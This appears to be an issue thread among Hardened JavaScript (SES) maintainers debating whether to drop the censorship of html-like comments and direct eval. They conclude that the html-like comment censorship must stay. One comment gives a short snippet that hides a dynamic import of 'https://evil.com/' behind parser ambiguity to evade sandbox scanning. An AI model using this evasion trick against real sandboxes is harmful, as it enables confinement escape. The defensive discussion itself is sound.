Is it safe to eval html comments?

[kumavis]

My understanding as to why html comments are censored is because they are confusing to the user, but not that they can't be confined. Is this correct?

The censorship causes compatibility issues, especially because our detection is unable to distinguish from the --> pattern appearing in valid code, strings, and js comments.

relevant issues:
#1217
#1837

[kumavis]

If it is deemed safe, then I suggest we either remove the censorship or provide a lockdown option for disabling the censorship

[kriskowal]

My understanding is that HTML comments are not a normative feature of JS and so a program with an apparent HTML comment may behave differently in one JS engine than another, so to audit a program that might be used in multiple JS engines, you have to consider the behavior with and without interpretation of HTML comments, and that creates an attack vector. The attack would not constitute an escape, but difference in behavior.

The argument for eval censorship is also not that eval can escape confinement, but that code that uses eval with the shim will have indirect eval semantics even with direct eval syntax, which could encourage the proliferation of code that cannot migrate from shimmed to native Hardened JavaScript.

Because neither of these is an escape of confinement, I am sympathetic to introducing a lockdown option of the __nonStandard__ spelling.

Summoning @erights to check my work.

[erights]

Nit: The syntax of concern is JS's "html-like comments", not "html comments", which by definition can only occur in html.

The html-like comments censorship and the direct eval censorship are quite different cases.

HTML-like comment censorship

The original Google-Caja, which used a strategy similar to the prelude-untrustedcode-postlude that you're using when you don't have direct eval, did need to scan the untrustedcode, for different reasons where the differences don't matter. Because of our misunderstanding of what the platform was doing with html-like comments, we had a fatal full escape vulnerability, during a stage where we were protecting the Yahoo! home page as well as several Google sites. Fortunately, the discoverer (outside Google) responsibly disclosed it. As far as we were able to tell, we were able to deploy a fix before anyone exploited it. Our fix was essentially what SES is doing now.

Now, we have to, for example, scan code reliably wrt dynamic import expressions. If one of those escape, then we have a total escape. If we mis-predict what the platform does with html-like comments, then could a dynamic import expression escape notice? For this example, probably not. But belt and suspenders. I don't want to require all the censorship rules to be safely conservative whether on not html-like comments are censored.

Remember though that most of the source code SES is written as module source code in module syntax, and then separately compiled into the evaluable strings that this core SES security mechanism then runs. Within our threat model, this compilation is allowed to use a full parser written in JS, even if that parser is different from what the platform does. This is good because the compiler must use such a parser to do its job. For module code, there is no ambiguity. The html-like comment syntax in module code is not recognized as such. We can and should extend our compiler so it never produces text that our core censorship code would reject because it seems to contain an html-like comment. Yes, that will sometimes mess with column numbers a bit. But it is worth it.

This is why we do not and should not provide an option to turn html-like comment censorship off. People would start doing that for convenience, and then years might go by without an attack, lulling people into not taking all the other painful manual cautions needed to not lose everything. And those other things are likely more painful than living with the current over-censorship of apparent html-like comment syntax. There is no net reduction in pain to be had here.

[erights]

Direct-eval syntax censorship.

Yes, turning this on or off does lead to behavioral differences, but I am much less worried about them wrt security. The reason we censor these is exactly what @kriskowal explained: to prevent code being written depending on SES's behavior of treating these as indirect eval, which are then rudely surprised when that code is run on a native implementation of HardenedJS, like XS's, that treats these as the direct eval they look like.

IIRC, for exactly these reasons, we already have a switch for turning this off and on, because we're worried about this compat problem. Not so much with the security problem. Further, IIRC, the censorship rule for direct eval syntax is not even safely conservative. It just catches direct evals that an innocent programmer might write. IIRC, a malicious programmer can write code that JS would recognize as a direct eval but would evade our (optional) censorship rule. Assuming this will never happen by accident (which I think is realistic) the malicious programmer is screwing only themselves -- writing code that upholds ocap principles either way, but that suffers a compat problem when moved between SES and XS.

I'm traveling right now. So, please, someone should look and correct my mistakes. I'm just saying all this from old memories that may well have drifted. Thanks!

[mhofman]

@erights shared this: https://www.hillelwayne.com/post/javascript-puzzle/

[gibson042]

If we mis-predict what the platform does with html-like comments, then could a dynamic import expression escape notice?

Absolutely! The following includes a dynamic import iff parsed with support for HTML comments:

let x = 1;
0<!--x && /*
import("https://evil.com/");
/**/ true;

[kumavis]

kriskowal: My understanding is that HTML comments are not a normative feature of JS

I thought that html-like comment behavior had been standardized at some point. Is this not the case?

markm: We can and should extend our compiler so it never produces text that our core censorship code would reject because it seems to contain an html-like comment.

sounds like this is markm's preferred approach

[gibson042]

kriskowal: My understanding is that HTML comments are not a normative feature of JS

I thought that html-like comment behavior had been standardized at some point. Is this not the case?

It's in Annex B, which means that support is required for web browsers but optional for other implementations—i.e., two conforming implementations can therefore produce different successful results for parsing (and thus evaluating) the same source text.

[erights]

Yes. For non-browsers for evaluable scripts, it is effectively "normative optional", meaning that it is optional, but if some engine does it, it must do it according to the standard. IIRC, evaluable scripts on v8 and therefore Node do recognize html-like comments. XS does not.

What is not optional: for module code, html-like comments must not be recognized.

Rather than enable attacks on scripts do to the differences between Node and XS for example, we choose to disallow anything that looks like an html-like comment to prevent this exploitable ambiguity from arising.

So in answer to the OP question:

• It is not safe to evaluate evaluable code apparently containing html-like comments.
• It is not safe to evaluate evaluable code apparently containing dynamic import expressions.
• It is safe enough to evaluate evaluable code apparently containing direct eval expressions. We optionally reject these by default on compat grounds, but allow this prohibition to be suppressed.